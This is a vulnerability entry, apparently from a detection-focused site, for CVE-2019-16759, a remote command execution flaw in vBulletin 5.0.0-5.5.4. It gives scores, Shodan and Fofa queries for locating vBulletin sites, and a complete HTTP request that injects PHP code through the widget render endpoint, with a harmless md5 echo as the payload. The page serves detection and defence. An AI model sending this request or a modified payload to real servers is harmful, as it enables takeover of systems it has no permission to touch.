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CVE-2019-16759: vBulletin 5.0.0-5.5.4 - Remote Command Execution

TitlevBulletin 5.0.0-5.5.4 - Remote Command Execution
Authormadrobot
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the target system.
RemediationUpgrade vBulletin to a version that is not affected by CVE-2019-16759.
CVSS Score9.8
EPSS Score0.94407
CVE IDCVE-2019-16759
CWE IDCWE-94
Shodan Queryhttp.component:"vBulletin"http.html:"powered by vbulletin"http.component:"vbulletin"http.title:"powered by vbulletin"cpe:"cpe:2.3:a:vbulletin:vbulletin"
Fofa Querybody="powered by vbulletin"title="powered by vbulletin"
Tags cve cve2019 rce kev seclists vbulletin vkev vuln

🔍 Vulnerability Description

vBulletin 5.0.0 through 5.5.4 is susceptible to a remote command execution vulnerability via the widgetConfig parameter in an ajax/render/widget_php routestring request. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.

🌐 HTTP Request

POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Connection: close
Content-Length: 102
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo%20md5%28%22CVE-2019-16759%22%29%3B

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-16759.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-16759.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A